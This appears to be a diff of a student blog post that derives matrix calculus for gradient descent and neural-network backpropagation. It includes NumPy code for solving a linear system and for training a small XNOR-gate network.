-\begin{aligned} -\frac{\partial F(\mathbf{x})}{\partial\mathbf{y}} &= -\begin{bmatrix} -\frac{\partial F(\mathbf{x})}{\partial{\mathbf{y}}_{1}} & \frac{\partial F(\mathbf{x})}{\partial{\mathbf{y}}_{2}} -\end{bmatrix} \\ -\frac{\partial F(\mathbf{x})}{\partial{\mathbf{y}}_{1}} &= 2\mathbf{y}_{1} \\ -\frac{\partial F(\mathbf{x})}{\partial{\mathbf{y}}_{2}} &= 2\mathbf{y}_{2} \\ -\frac{\partial F(\mathbf{x})}{\partial\mathbf{y}} &= -\begin{bmatrix} -2\mathbf{y}_{1} & 2\mathbf{y}_{2} -\end{bmatrix} -= 2\mathbf{y}^{T} -\end{aligned} -$$ - -To illustrate the chain rule, I will calculate it individually and put it all together. - -$$ -\begin{aligned} -F(\mathbf{x}) &= {||A\mathbf{x}-\mathbf{b}||}_{2}^{2} \\ -&= {({a}_{11}{\mathbf{x}}_{1} + {a}_{12}{\mathbf{x}}_{2}-{\mathbf{b}}_{1})}^{2} + -{({a}_{21}{\mathbf{x}}_{1} + {a}_{22}{\mathbf{x}}_{2}-{\mathbf{b}}_{2})}^{2} \\ -\end{aligned} -$$ - -Now we calculate the Final Gradient by calculating the individual derivative for every value. - -$$ -\begin{aligned} -\frac{\partial F(\mathbf{x})}{\partial\mathbf{x}} &= -\begin{bmatrix} -\frac{\partial F(\mathbf{x})}{\partial{\mathbf{x}}_{1}} & \frac{\partial F(\mathbf{x})}{\partial{\mathbf{x}}_{2}} -\end{bmatrix}\\ -\frac{\partial F(\mathbf{x})}{\partial{\mathbf{x}}_{1}} &= 2{a}_{11}({a}_{11}{\mathbf{x}}_{1} + {a}_{12}{\mathbf{x}}_{2}-{\mathbf{b}}_{1}) + 2{a}_{21}({a}_{21}{\mathbf{x}}_{1} + {a}_{22}{\mathbf{x}}_{2}-{\mathbf{b}}_{2})\\ -\frac{\partial F(\mathbf{x})}{\partial{\mathbf{x}}_{2}} &= 2{a}_{12}({a}_{11}{\mathbf{x}}_{1} + {a}_{12}{\mathbf{x}}_{2}-{\mathbf{b}}_{1}) + 2{a}_{22}({a}_{21}{\mathbf{x}}_{1} + {a}_{22}{\mathbf{x}}_{2}-{\mathbf{b}}_{2})\\ -\frac{\partial F(\mathbf{x})}{\partial\mathbf{x}} &= -\begin{bmatrix} -2{a}_{11}({a}_{11}{\mathbf{x}}_{1} + {a}_{12}{\mathbf{x}}_{2}-{\mathbf{b}}_{1}) + 2{a}_{21}({a}_{21}{\mathbf{x}}_{1} + {a}_{22}{\mathbf{x}}_{2}-{\mathbf{b}}_{2}) & 2{a}_{12}({a}_{11}{\mathbf{x}}_{1} + {a}_{12}{\mathbf{x}}_{2}-{\mathbf{b}}_{1}) + 2{a}_{22}({a}_{21}{\mathbf{x}}_{1} + {a}_{22}{\mathbf{x}}_{2}-{\mathbf{b}}_{2}) -\end{bmatrix}\\ -&= 2 -\begin{bmatrix} -{a}_{11}{\mathbf{x}}_{1} + {a}_{12}{\mathbf{x}}_{2}-{\mathbf{b}}_{1} & -{a}_{21}{\mathbf{x}}_{1} + {a}_{22}{\mathbf{x}}_{2}-{\mathbf{b}}_{2} -\end{bmatrix} -\begin{bmatrix} -{a}_{11} & {a}_{12} \\ -{a}_{21} & {a}_{22} \\ -\end{bmatrix} = 2{(A\mathbf{x}-\mathbf{b})}^{T}A -\end{aligned} -$$ - -As we can see from that last step, its pretty complex an expression, but you can see how neat matrix notation is as compared to writing all that out and you see how matrix calculus works. With numerator layout, its very similar to single-variable but with a few extra steps. - -I then transpose the derivative back into the denominator layout written below. The step function is also written below which we will use for the gradient descent. - -$$ -\begin{aligned} -F(\mathbf{x}) &= {||A\mathbf{x}-\mathbf{b}||}^{2} \\ -\nabla F(\mathbf {x} ) &= 2 A^{T}(A\mathbf {x} -\mathbf{b}) \\ -\mathbf{x}_{n+1} &= \mathbf{x}_{n}-\gamma \nabla F(\mathbf {x} _{n}) -\end{aligned} -$$ - -where $\gamma$ is the learning rate, we need a small learning rate as it prevents the function from taking large steps and objective functions tend to overblow the "true" error of a function. - -We can now implement this in code form for a very simple linear system written below: - -$$ -\begin{aligned} -w+3x+2y-z=9\\ -5w+2x+y-2z=4\\ -x+2y+4z=24\\ -w+x-y-3z=-12 -\end{aligned} -$$ - -This can be written as such in matrix form: - -$$ -\begin{bmatrix} -1 & 3 & 2 & -1\\ -5 & 2 & 1 & -2\\ -0 & 1 & 2 & 4\\ -1 & 1 & -1 & -3 -\end{bmatrix} -\begin{bmatrix} -w\\ -x\\ -y\\ -z -\end{bmatrix} -= -\begin{bmatrix} -9\\ -4\\ -24\\ --12 -\end{bmatrix} -$$ - -### Code Implementation - -#### Variables - -$$ -A= -\begin{bmatrix} -1 & 3 & 2 & -1\\ -5 & 2 & 1 & -2\\ -0 & 1 & 2 & 4\\ -1 & 1 & -1 & -3 -\end{bmatrix} -$$ - -```python ->>> A = np.array([[1,3,2,-1],[5,2,1,-2],[0,1,2,4],[1,1,-1,-3]], dtype=np.float64) ->>> A -array([[ 1., 3., 2., -1.], - [ 5., 2., 1., -2.], - [ 0., 1., 2., 4.], - [ 1., 1., -1., -3.]]) -``` - - -$$ -\mathbf{b}= -\begin{bmatrix} -9\\ -4\\ -24\\ --12 -\end{bmatrix} -$$ - -```python ->>> b = np.array([[9],[4],[24],[-12]], dtype=np.float64) ->>> b -array([[ 9.], - [ 4.], - [ 24.], - [-12.]]) -``` - -$$ -\mathbf{x}= -\begin{bmatrix} -w\\ -x\\ -y\\ -z -\end{bmatrix} -$$ - -```python ->>> x = np.random.rand(4,1) ->>> x -array([[0.09257854], - [0.16847643], - [0.39120624], - [0.78484474]]) -``` - -#### The Objective Function and its Derivative - -$$ -F(\mathbf{x}) = {||A\mathbf{x}-\mathbf{b}||}^{2} -$$ - -```python ->>> def objective_function(x): - return np.linalg.norm(np.matmul(A,x) - b) ** 2 -``` - -$$ -\nabla F(\mathbf {x} )=2A^{T}(A\mathbf {x} -\mathbf {b}) -$$ - -```python ->>> def objective_function_derivative(x): - return 2 * np.matmul(A.T, np.matmul(A,x) - b) -``` - -In this case, I implemented an arbritary learning rate and arbritary step count. In traditional non-machine learning gradient descent, the learning rate changes per step and is determined via a heuristic such as the Barzilai–Borwein method, however this is not necessary as gradient descent is very robust. I used an arbritary step count for simplicity but you should ideally use some sort of boolean condition to break the loop such as $F(\mathbf{x})<0.01$. - -$$ -\mathbf {x}_{n+1}=\mathbf {x}_{n}-\gamma \nabla F(\mathbf {x} _{n}) -$$ - -```python ->>> learning_rate = 0.01 ->>> for i in range(5000): - x -= learning_rate * objective_function_derivative(x) ->>> x -array([[1.], - [2.], - [3.], - [4.]]) -``` - -And to check, we now use a simple matrix multiplication: - -```python ->>> np.matmul(A,x) -array([[ 9.], - [ 4.], - [ 24.], - [-12.]]) -``` - -Voila, we have solved the equation with gradient descent, and the solution is super close. This shows the power of gradient descent. - -## Deep Neural Network Layer - -To understand the math behind a deep neural network layer, we will first look at the single perceptron case. - -![single perceptron example](./single_perceptron_example.png) - -$$ -z=xw+b\\ -a=\sigma (z) -$$ - -where $w$ is the weight, $b$ is the bias, $x$ is the input, $\sigma$ is the activation function and $a$ is the output. - -We assume that this is a single layer network and that the loss function is just applied after, and we will just use the MSE loss. - -$$c = {(a-y)}^2$$ - -where $y$ is the true y, $c$ is the cost. - - -In this case, it is quite easy to represent. Let us expand it to a layer with 4 input neurons and 4 output neurons. - - -![multiple perceptron example](./multiple_perceptron_example.png) - -$$ -\begin{aligned} -{w}_{11}{x}_{1} + {w}_{21}{x}_{2} + {w}_{31}{x}_{3} + {w}_{41}{x}_{4} + {b}_{1} = &{z}_{1}\\ -{w}_{12}{x}_{1} + {w}_{22}{x}_{2} + {w}_{32}{x}_{3} + {w}_{42}{x}_{4} + {b}_{2} = &{z}_{2}\\ -{w}_{13}{x}_{1} + {w}_{23}{x}_{2} + {w}_{33}{x}_{3} + {w}_{43}{x}_{4} + {b}_{3} = &{z}_{3}\\ -{w}_{14}{x}_{1} + {w}_{24}{x}_{2} + {w}_{34}{x}_{3} + {w}_{44}{x}_{4} + {b}_{4} = &{z}_{4}\\ -{a}_{1}=\sigma(&{z}_{1})\\ -{a}_{2}=\sigma(&{z}_{2})\\ -{a}_{3}=\sigma(&{z}_{3})\\ -{a}_{4}=\sigma(&{z}_{4})\\ -c = \frac{1}{4} \left((a_1-y_1)^2 + (a_2 - y_2)^2 + (a_3 - y_3)^2 + (a_4 - y_4)^2\right) -\end{aligned} -$$ - -As you can see, this is just a linear system much like the one showed in the example and it becomes very simple. - -$$ -\begin{aligned} -\mathbf{z} &= W\mathbf{x} + \mathbf{b}\\ -\mathbf{a} &= \sigma(\mathbf{z}) \\ -c &= \frac{1}{n} ||\mathbf{a} - \mathbf{y}||^2_2 -\end{aligned} -$$ - -From our work earlier we know that: - -$$ -\begin{aligned} -\frac{\partial \mathbf{z}}{\partial \mathbf{b}}&=I \\ -\frac{\partial \mathbf{z}}{\partial \mathbf{x}}&= W \\ -\frac{\partial c}{\partial \mathbf{a}} &= \frac{2}{n} \left(\mathbf{a} - \mathbf{y} \right)^\text{T} -\end{aligned} -$$ - - -However we have once again hit a speedbump. How do we find the derivative of a vector $\mathbf{z}$ with respect to a matrix $W$? The function is of the form $f:\mathbb{R}^{m \times n} \rightarrow \mathbb{R}^{m}$. Hence, the derivative will be a third order tensor also known as a 3D matrix. (colloquially) But for now we will use a trick to dodge the usage of third order tensors because of the nature of the function $W\mathbf{x}$. For this example, I use $m=3$ and $n=2$ but its generalizable for any sizes. - -$$ -\begin{aligned} -\mathbf{z} = W\mathbf{x} + \mathbf{b}\\ -\begin{bmatrix} -{\mathbf{z}}_{1} \\ -{\mathbf{z}}_{2} \\ -{\mathbf{z}}_{3} -\end{bmatrix} &= \begin{bmatrix} -{w}_{11} & {w}_{12}\\ -{w}_{21} & {w}_{22}\\ -{w}_{31} & {w}_{32}\\ -\end{bmatrix} -\begin{bmatrix} -{\mathbf{x}}_{1} \\ -{\mathbf{x}}_{2} -\end{bmatrix} -+ -\begin{bmatrix} -{\mathbf{b}}_{1} \\ -{\mathbf{b}}_{2} \\ -{\mathbf{b}}_{3} -\end{bmatrix} \\ -&= -\begin{bmatrix} -{w}_{11}{\mathbf{x}}_{1} + {w}_{12}{\mathbf{x}}_{2} + {\mathbf{b}}_{1}\\ -{w}_{21}{\mathbf{x}}_{1} + {w}_{22}{\mathbf{x}}_{2} + {\mathbf{b}}_{2}\\ -{w}_{31}{\mathbf{x}}_{1} + {w}_{32}{\mathbf{x}}_{2} + {\mathbf{b}}_{3}\\ -\end{bmatrix} -\end{aligned} -$$ - -We now calculate the individual derivatives of $\mathbf{z}$ wrt to $W$. - - -$$ -\begin{aligned} -\frac{\partial \mathbf{z}_{1}}{\partial w_{11}}=\mathbf{x}_{1}\quad -\frac{\partial \mathbf{z}_{2}}{\partial w_{11}}=0\quad -\frac{\partial \mathbf{z}_{3}}{\partial w_{11}}=0\\ -\frac{\partial \mathbf{z}_{1}}{\partial w_{12}}=\mathbf{x}_{2}\quad -\frac{\partial \mathbf{z}_{2}}{\partial w_{12}}=0\quad -\frac{\partial \mathbf{z}_{3}}{\partial w_{12}}=0\\ -\frac{\partial \mathbf{z}_{1}}{\partial w_{21}}=0\quad -\frac{\partial \mathbf{z}_{2}}{\partial w_{21}}=\mathbf{x}_{1}\quad -\frac{\partial \mathbf{z}_{3}}{\partial w_{21}}=0\\ -\frac{\partial \mathbf{z}_{1}}{\partial w_{22}}=0\quad -\frac{\partial \mathbf{z}_{2}}{\partial w_{22}}=\mathbf{x}_{2}\quad -\frac{\partial \mathbf{z}_{3}}{\partial w_{22}}=0\\ -\frac{\partial \mathbf{z}_{1}}{\partial w_{31}}=0\quad -\frac{\partial \mathbf{z}_{2}}{\partial w_{31}}=0\quad -\frac{\partial \mathbf{z}_{3}}{\partial w_{31}}=\mathbf{x}_{1}\\ -\frac{\partial \mathbf{z}_{1}}{\partial w_{32}}=0\quad -\frac{\partial \mathbf{z}_{2}}{\partial w_{32}}=0\quad -\frac{\partial \mathbf{z}_{3}}{\partial w_{32}}=\mathbf{x}_{2}\\ -\end{aligned} -$$ - -We see that this is a pretty complex looking tensor but we see that a majority of the values are 0 allowing us to pull of an epic hack by considering the fact that at the end we are essentially trying to get a singular scalar value (the loss) and find the partial derivative of that wrt to $W$. There are some steps involved in getting from $\mathbf{z}$ to $c$ but for simplicity instead of showing everything, we will condense all of this into a function $f:\mathbb{R}^{n} \rightarrow \mathbb{R}$ which is defined as $c=f(\mathbf{z})$. In this case, we know the tensor values and we know the gradient and what the derivative should be. Hence, we now just evaluate it and see if we can see any property: - -$$ -\begin{aligned} -\frac{\partial c}{\partial\mathbf{z}} &= -\begin{bmatrix} -\frac{\partial c}{\partial{\mathbf{z}}_{1}} & \frac{\partial c}{\partial{\mathbf{z}}_{2}} & \frac{\partial c}{\partial{\mathbf{z}}_{2}} -\end{bmatrix} \\ -\frac{\partial c}{\partial W} = -\begin{bmatrix} -\frac{\partial c}{\partial{w}_{11}} & \frac{\partial c}{\partial{w}_{21}} & \frac{\partial c}{\partial{w}_{31}}\\ -\frac{\partial c}{\partial{w}_{12}} & \frac{\partial c}{\partial{w}_{22}} & \frac{\partial c}{\partial{w}_{32}} -\end{bmatrix} -= -\frac{\partial c}{\partial \mathbf{z}}\frac{\partial \mathbf{z}}{\partial \mathbf{W}} -&= -\begin{bmatrix} -\frac{\partial c}{\partial{\mathbf{z}}_{1}}\frac{\partial {\mathbf{z}}_{1}}{\partial{w}_{11}} & \frac{\partial c}{\partial{\mathbf{z}}_{2}}\frac{\partial {\mathbf{z}}_{2}}{\partial{w}_{21}} & \frac{\partial c}{\partial{\mathbf{z}}_{3}}\frac{\partial {\mathbf{z}}_{3}}{\partial{w}_{31}}\\ -\frac{\partial c}{\partial{\mathbf{z}}_{1}}\frac{\partial {\mathbf{z}}_{1}}{\partial{w}_{12}} & \frac{\partial c}{\partial{\mathbf{z}}_{2}}\frac{\partial {\mathbf{z}}_{2}}{\partial{w}_{22}} & \frac{\partial c}{\partial{\mathbf{z}}_{3}}\frac{\partial {\mathbf{z}}_{3}}{\partial{w}_{32}} -\end{bmatrix} -= -\begin{bmatrix} -\frac{\partial c}{\partial{\mathbf{z}}_{1}}\mathbf{x}_{1} & \frac{\partial c}{\partial{\mathbf{z}}_{2}}\mathbf{x}_{1} & \frac{\partial c}{\partial{\mathbf{z}}_{3}}\mathbf{x}_{1}\\ -\frac{\partial c}{\partial{\mathbf{z}}_{1}}\mathbf{x}_{2} & \frac{\partial c}{\partial{\mathbf{z}}_{2}}\mathbf{x}_{2} & \frac{\partial c}{\partial{\mathbf{z}}_{3}}\mathbf{x}_{2} -\end{bmatrix} -= -\mathbf{x}\frac{\partial c}{\partial\mathbf{z}} -\end{aligned} -$$ - - -Wonderful, we have just found out this amazing method, where we just add $\mathbf{x}$ to the front. Normally this method is not possible but it is just possible in this special case as we dont have to consider terms such as $\frac{\partial c}{\partial{\mathbf{z}}_{2}}\frac{\partial {\mathbf{z}}_{2}}{\partial{w}_{11}}$ because they are just 0. It helps us dodge all the possibilites of tensor calculus (at least for now) and allows the NumPy multiplication to be much easier. $f$ can also generalize for any vector to scalar function, not just the specific steps we make. - -The next speedbump is much more easier to grasp than the last one, and that is element-wise operations. In this case, we have the activation function $\sigma:\mathbb{R}^{n} \rightarrow \mathbb{R}^{n}$ or $\sigma:\mathbb{R} \rightarrow \mathbb{R}$, which looks like a sigmoid function, but this is just a placeholder function. It can be any $\mathbb{R}$ to $\mathbb{R}$ activation function, such as $\text{RELU}(x) = \text{max}(x, 0)$, or whatever else has been found in research, such as SMELU and GELU. Once again, we work it out for every single value, as shown below: - -$$ -\begin{aligned} -\mathbf{a} &= \sigma(\mathbf{z})\\ -\begin{bmatrix} -{\mathbf{a}}_{1} \\ -{\mathbf{a}}_{2} \\ -{\mathbf{a}}_{3} -\end{bmatrix} -&= -\sigma\left( -\begin{bmatrix} -{\mathbf{z}}_{1} \\ -{\mathbf{z}}_{2} \\ -{\mathbf{z}}_{3} -\end{bmatrix}\right) -= -\begin{bmatrix} -\sigma({\mathbf{z}}_{1}) \\ -\sigma({\mathbf{z}}_{2}) \\ -\sigma({\mathbf{z}}_{3}) -\end{bmatrix} -\end{aligned} -$$ - -Now for the 48th billion time, we calculate the Jacobian by calculating every individual derivative to get the general property of the operation. - -$$ -\begin{aligned} -\frac{\partial \mathbf{a}}{\partial \mathbf{z}} &= -\begin{bmatrix} -\frac{\partial {\mathbf{a}}_{1}}{\partial{\mathbf{z}}_{1}} & \frac{\partial {\mathbf{a}}_{1}}{\partial{\mathbf{z}}_{2}}& \frac{\partial {\mathbf{a}}_{1}}{\partial{\mathbf{z}}_{3}}\\ -\frac{\partial {\mathbf{a}}_{2}}{\partial{\mathbf{z}}_{1}} & \frac{\partial {\mathbf{a}}_{2}}{\partial{\mathbf{z}}_{2}} & \frac{\partial {\mathbf{a}}_{2}}{\partial{\mathbf{z}}_{3}}\\ -\frac{\partial {\mathbf{a}}_{3}}{\partial{\mathbf{z}}_{1}} & \frac{\partial {\mathbf{a}}_{3}}{\partial{\mathbf{z}}_{2}} & \frac{\partial {\mathbf{a}}_{3}}{\partial{\mathbf{z}}_{3}} -\end{bmatrix}\\ -\frac{\partial {\mathbf{a}}_{1}}{\partial{\mathbf{z}}_{1}}=\sigma^{'}(\mathbf{z}_{1})\quad -\frac{\partial {\mathbf{a}}_{1}}{\partial{\mathbf{z}}_{2}}&=0\quad -\frac{\partial {\mathbf{a}}_{1}}{\partial{\mathbf{z}}_{3}}=0\\ -\frac{\partial {\mathbf{a}}_{2}}{\partial{\mathbf{z}}_{1}}=0\quad -\frac{\partial {\mathbf{a}}_{2}}{\partial{\mathbf{z}}_{2}}&=\sigma^{'}(\mathbf{z}_{2})\quad -\frac{\partial {\mathbf{a}}_{2}}{\partial{\mathbf{z}}_{3}}=0\\ -\frac{\partial {\mathbf{a}}_{3}}{\partial{\mathbf{z}}_{1}}=0\quad -\frac{\partial {\mathbf{a}}_{3}}{\partial{\mathbf{z}}_{2}}&=0\quad -\frac{\partial {\mathbf{a}}_{3}}{\partial{\mathbf{z}}_{3}}=\sigma^{'}(\mathbf{z}_{3})\\ -\frac{\partial \mathbf{a}}{\partial \mathbf{z}} &= -\begin{bmatrix} -\sigma^{'}(\mathbf{z}_{1}) & 0 & 0\\ -0 & \sigma^{'}(\mathbf{z}_{2}) & 0\\ -0 & 0 & \sigma^{'}(\mathbf{z}_{3})\\ -\end{bmatrix} -=diag(\sigma^{'}(\mathbf{z})) -\end{aligned} -$$ - - -As you see, we can reduce this derivative to this specific value. I have used the $diag$ operator which converts a vector to a diagonal matrix. Finally, after all this derivation (mathematically and figuratively) we can use chain rule to join everything together: - -$$ -\begin{aligned} -\frac{\partial c}{\partial \mathbf{b}}=\frac{\partial c}{\partial \mathbf{a}}\frac{\partial \mathbf{a}}{\partial \mathbf{z}}\frac{\partial \mathbf{z}}{\partial \mathbf{b}} -&= -\frac{2}{n}{(\mathbf{a}-\mathbf{y})}^{T}diag(\sigma^{'}(\mathbf{z}))\\ -\frac{\partial c}{\partial \mathbf{x}}=\frac{\partial c}{\partial \mathbf{a}}\frac{\partial \mathbf{a}}{\partial \mathbf{z}}\frac{\partial \mathbf{z}}{\partial \mathbf{x}} -&= -\frac{2}{n}{(\mathbf{a}-\mathbf{y})}^{T}diag(\sigma^{'}(\mathbf{z}))W\\ -\frac{\partial c}{\partial W}=\frac{\partial c}{\partial \mathbf{a}}\frac{\partial \mathbf{a}}{\partial \mathbf{z}}\frac{\partial \mathbf{z}}{\partial W} -&= -\frac{2}{n}\mathbf{x}{(\mathbf{a}-\mathbf{y})}^{T}diag(\sigma^{'}(\mathbf{z})) -\end{aligned} -$$ - -Now that we got these simple definitions for the single-layer case, we can expand it to the multi-layer case. - -$$ -\begin{aligned} -\mathbf{a}_{0}&=\mathbf{x}\\ -\mathbf{z}_{i}&={W}_{i-1}{\mathbf{a}}_{i-1} + \mathbf{b}_{i-1}\\ -\mathbf{a}_{i}&=\sigma(\mathbf{z}_{i})\\ -i &= 1,2,3,...,L\\ -c&=\frac{1}{n}\|{\mathbf{a}-\mathbf {y}}\|_{2}^{2} -\end{aligned} -$$ - -We can do the calculus for the $i$-th layer now, specifically for bias and weight using the chain rule. - -$$ -\begin{aligned} -\frac{\partial c}{\partial \mathbf{b}_{i-1}}=\frac{\partial c}{\partial \mathbf{a}_{L}}\frac{\partial \mathbf{a}_L}{\partial \mathbf{z}_{L}}\frac{\partial \mathbf{z}_{L}}{\partial \mathbf{a}_{L-1}}\cdots\frac{\partial \mathbf{a}_{i}}{\partial \mathbf{z}_{i}}\frac{\partial \mathbf{z}_{i}}{\partial \mathbf{b}_{i-1}}&= -\frac{2}{n}{(\mathbf{a}_L-\mathbf{y})}^{T}diag(\sigma^{'}(\mathbf{z}_L))W_{L-1}\cdots diag(\sigma^{'}(\mathbf{z}_i))\\ -\frac{\partial c}{\partial W_{i-1}}=\frac{\partial c}{\partial \mathbf{a}_{L}}\frac{\partial \mathbf{a}_L}{\partial \mathbf{z}_{L}}\frac{\partial \mathbf{z}_{L}}{\partial \mathbf{a}_{L-1}}\cdots\frac{\partial \mathbf{a}_{i}}{\partial \mathbf{z}_{i}}\frac{\partial \mathbf{z}_{i}}{\partial W_{i-1}}&= -\frac{2}{n}\mathbf{a}_{i-1}{(\mathbf{a}_L-\mathbf{y})}^{T}diag(\sigma^{'}(\mathbf{z}_L))W_{L-1}\cdots diag(\sigma^{'}(\mathbf{z}_i))\\ -i &= 1,2,3,...,L -\end{aligned} -$$ - -Now it is time to actually implement this network (finally). - -## Neural Network Implementation (XNOR Gate) - -I couldn't find a good, but rather small dataset because most people really do like large datasets and are infuriated when they are not provided that like ~~entitled brats~~ normal people. So, instead, I decided that we will train our neural network to mimic the XNOR gate. - -Oh no! Training? Testing? What is that? In all fairness, I am simply trying to show you that the mathematical functions that dictate neural networks as we have found above, fits perfectly with this task of a neural network, and that these neural networks that everyone hears about can really just mimic any function. - -![XNOR input output](./XNOR_input_output.png) - -For those who do not know, the XNOR gates inputs and outputs are written above. It is pretty suitable for this example, because the inputs and outputs are all 0 and 1, hence it is fast to train and there is no bias in the data. - -From here, let's try coding out the (x,y) pairs in NumPy: - -```python -data = [[np.array([[0],[0]], dtype=np.float64),np.array([[1]], dtype=np.float64)], - [np.array([[0],[1]], dtype=np.float64),np.array([[0]], dtype=np.float64)], - [np.array([[1],[0]], dtype=np.float64),np.array([[0]], dtype=np.float64)], - [np.array([[1],[1]], dtype=np.float64),np.array([[1]], dtype=np.float64)]] -``` -We then define a network structure. It doesn't have to be too complex because it is a pretty simple function. I decided on a $2 \rightarrow 3 \rightarrow 1$ multi-layer perceptron (MLP) structure, with the sigmoid activation function. - -![multiple perceptron network](./multiple_perceptron_network.png) - -Next, let's try coding out our mathematical work based off the following class: - -```python -class NNdata: - def __init__(self): - self.a_0 = None - self.W_0 = np.random.rand(3,2) - self.b_0 = np.random.rand(3,1) - self.z_1 = None - self.a_1 = None - self.W_1 = np.random.rand(1,3) - self.b_1 = np.random.rand(1,1) - self.z_2 = None - self.a_2 = None - self.db_1 = None - self.dw_1 = None - self.db_0 = None - self.dw_0 = None - - def sigmoid(self, x): - return 1 / (1 + np.exp(-x)) - - def sigmoid_derivative(self, x): - return self.sigmoid(x) * (1 - self.sigmoid(x)) - - def feed_forward(self, x): - self.a_0 = x - - self.z_1 = np.matmul(self.W_0, self.a_0)+self.b_0 - self.a_1 = self.sigmoid(self.z_1) - - self.z_2 = np.matmul(self.W_1, self.a_1)+self.b_1 - self.a_2 = self.sigmoid(self.z_2) - return self.a_2 - - def loss(self, y): - return np.linalg.norm(self.a_2-y)**2 - - def back_prop(self, y): - dcdz_2 = 2 * np.matmul((self.a_2-y).T,np.diag(self.sigmoid_derivative(self.z_2).reshape(1))) - dcdb_1 = dcdz_2 - dcdw_1 = np.matmul(self.a_1, dcdz_2) - - dcda_1 = np.matmul(dcdz_2, self.W_1) - dcdz_1 = np.matmul(dcda_1, np.diag(self.sigmoid_derivative(self.z_1).reshape(3))) - dcdb_0 = dcdz_1 - dcdw_0 = np.matmul(self.a_0, dcdz_1) - - self.db_1 = dcdb_1.T - self.dw_1 = dcdw_1.T - self.db_0 = dcdb_0.T - self.dw_0 = dcdw_0.T -``` - -Next I program gradient descent. There are 3 kinds of gradient descent when there are multiple datapoints, Stochastic, Batch and Mini-Batch. In Stochastic Gradient Descent (SGD), the weights are updated after a single sample is run. This will obviously cause your step towards the ideal value be very chaotic. In Batch Gradient Descent, the weights are updated after every sample is run, and the net step is the sum/average of all the $\nabla F(x)$, which is less chaotic, but steps are less frequent. - -Of course, in real life, we can never know which algorithm is better without making an assumption about the data. (No Free Lunch Theorem) A good compromise is Mini-Batch Gradient Descent, which is like Batch Gradient Descent but use smaller chunks of all the datapoints every step. In this case, I use Batch Gradient Descent. - - -```python -nndata = NNdata() -learning_rate = 0.1 -for i in range(10000): - db_1_batch = [] - dw_1_batch = [] - db_0_batch = [] - dw_0_batch = [] - c = [] - for j in range(4): - nndata.feed_forward(data[j][0]) - c.append(nndata.loss(data[j][1])) - nndata.back_prop(data[j][1]) - db_1_batch.append(nndata.db_1) - dw_1_batch.append(nndata.dw_1) - db_0_batch.append(nndata.db_0) - dw_0_batch.append(nndata.dw_0) - if((i+1) % 1000 == 0): - print("loss (%d/10000): %.3f" % (i+1, sum(c)/4)) - nndata.b_1 -= learning_rate * sum(db_1_batch) - nndata.W_1 -= learning_rate * sum(dw_1_batch) - nndata.b_0 -= learning_rate * sum(db_0_batch) - nndata.W_0 -= learning_rate * sum(dw_0_batch) -``` - -Output resource: -``` -loss (1000/10000): 0.245 -loss (2000/10000): 0.186 -loss (3000/10000): 0.029 -loss (4000/10000): 0.007 -loss (5000/10000): 0.003 -loss (6000/10000): 0.002 -loss (7000/10000): 0.002 -loss (8000/10000): 0.001 -loss (9000/10000): 0.001 -loss (10000/10000): 0.001 -``` - - -Voila! We have officially programmed Neural Networks from scratch. Pat yourself on the back for reading through this. And of course, if you bothered to code this out, try porting it over to different languages like Java, JS or even C (yikes why would [anyone](https://github.com/terminalai/neuralC) subjects themselves to that?). - -In the next part, it is time for the actual hard part. Good luck! - - -## References - -A lot of people think I just collated a bunch of sources and rephrased, and honestly I walked into writing this thinking I would be doing just that. The problem is that many sources who have attempted to do this, only cover the single to multi-perceptron layer case and not the multi to multi-perceptron case. Which is pretty sad. The true math is hidden behind mountains of research papers that loosely connect to give the results of this blogpot which I am too incomponent to connect by myself. So, I just did the math myself. (The math may not be presented in this way but it works so it should be correct) Yes, it was a bit crazy, and it destroyed me to my core. This was a great character building moment for me. So these are the actual sources: - -- https://numpy.org/ -- https://en.wikipedia.org/wiki/Gradient_descent -- https://en.wikipedia.org/wiki/Matrix_calculus -- https://en.wikipedia.org/wiki/Tensor_calculus -- https://en.wikipedia.org/wiki/Ricci_calculus -- https://en.wikipedia.org/wiki/XNOR_gate -- CS5131 Notes (Special thanks to Mr Chua and Mr Ng) - - - -
- -(Excruciatingly edited by Prannaya) +--- +title: Building Convolutional Neural Networks from Scratch - Part 1 (Matrix Calculus) +slug: cnn-from-scratch-1 +author: [zayan] +date: 2022-05-26 +tags: [ml] +--- + +# Mathematics + +**Mathematics** is an area of knowledge, which includes the study of such topics as numbers, formulas and related structures, shapes and spaces in which they are contained, and quantities and their changes. There is no general consensus about its exact scope or epistemological status. However, it is extremely labourious and time-consuming but necessary and is sometimes (albeit very rarely) interesting. + +Neural Networks are somewhat interesting. Everyone kind of knows the math behind NNs (the gist of it). It was taught in **CS5131** to a very limited extent but not many know about the full math behind deep and convolutional neural networks. I mean people get that it has something to do with backpropogation or whatever, but how do you scale it up to multiple value and multiple derivatives. As you will come to learn, these derivations are incredibly computationally intensive and time-consuming, especially during implementation. But I have done it because I care about AppVenture and I want to help the casual onlooker understand the many trials and tribulations a simple layer goes through to deliver what we should consider peak perfection. It was a fun but painful exercise and I gained a deeper understanding of the mathematical constructs that embody our world. Anyways, let's start out with a referesher. Warning that Matrix Math lurks ahead, so tread with caution. This is deeper than **CS5131** could have ever hoped to cover, so you will learn some stuff with this excercise. This first part is about the math behind deep neural networks. + +This article is written with some assumed knowledge of the reader but it is not that bad for most CS students especially since NNs are baby level for the most part. Nonetheless, assumed knowledge is written below. + +- Deep Neural Network (How to implement + basic understanding of the math) +- Gradient Descent +- Linear Algebra + +If you don't know this stuff, all you really need to do is read an introduction to linear algebra, understand how matrices and vectors are multiplied and watch 3b1b's series on machine learning. + +Let's start by importing our bff for life, **Numpy**. + +```python +>>> import numpy as np +``` + +Numpy is introduced in CS4132 (or PC6432 for some reason), but for a quick summary, it is a Linear Algebra library, which means it is VERY useful in this task. + +## Gradient Descent Example (Linear System Solution) + +Observe the following series of mathematical equations: + +$$ +\begin{aligned} +4a+2b&=22\\ +3a+8b&=49 +\end{aligned} +$$ + +Despite the fact that solving these is pretty easy (as we learnt in Year 1), let's try going with a different solution from what is usually portrayed. Let's try using **gradient descent**. + +If you remember, Gradient Descent is a method used to solve any sort of equation by taking steps towards the real value by using calculus to predict the direction and size of the step. Essentially if you remember in calculus, the minimum of the graph will have a tangent of slope 0 and hence we can understand the direction of these "steps" to solve the problem. We just need a function where the derivative and function result approach 0 as you get closer to the true solution. This function is known as the objective function. + +As you probably know, a linear equation is written as such: + +$$ +A \mathbf{x}-\mathbf{b}=0 +$$ + +where $A$ is a known square matrix, $\mathbf{b}$ is a known vector and $\mathbf{x}$ is an unknown vector. + +In this case, for the objective function we will use Linear Least Squares (LLS) function as it is an accurate thing to minimize in this 